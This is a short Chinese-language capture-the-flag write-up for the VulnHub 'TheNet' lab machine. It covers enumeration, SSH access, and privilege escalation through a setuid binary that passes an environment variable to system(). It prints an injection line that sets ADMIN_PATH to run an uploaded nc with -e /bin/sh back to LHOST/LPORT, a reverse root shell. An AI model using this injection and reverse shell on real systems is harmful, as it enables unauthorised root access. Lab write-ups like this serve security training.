靶机地址: https://download.vulnhub.com/thenet/TheNet.ova
前期打点非常容易,只需要进行目录枚举,结合源码审计,就能找到靶机作者给出的提示信息,拿到SSH登陆的帐号和密码
打点突破边界后,提权阶段也是非常的有意思,进入目标系统后就能看到一个flag{1}和一个设置了suid权限的可执行文件cpw
已经很明显,这是靶机作者故意留下的,就是让我们利用 suid 进行提权
把文件拿出来,进行反汇编
代码执行过程中会对当前环境变量进行枚举,然后进行判断,是否有变量名为“ADMIN_PATH",如果有的话就分配一块内存空间,再将 s 指向变量值和 /changepw 拼接后的字符串,设置setuid(0),将 s 丢进 system 执行
现在思路已经清晰了,只需要构建一个环境变量,名为"ADMIN_PATH",值设置为一个反弹 shell,就可以了
这里我选择使用 nc 进行反弹,师傅们也可以使用其他反弹 shell
构造 exp 这里我选择单独将空格使用单引号引起来
export ADMIN_PATH=/tmp/nc’ ‘LHOST’ ‘LPORT’ ‘-e’ '/bin/sh;
因为系统自带的 nc 无法使用 -e 参数,所以我上传了一个 nc 到 /tmp 目录下
执行 cpw 文件, 拿到 root 权限,查看到第二个 flag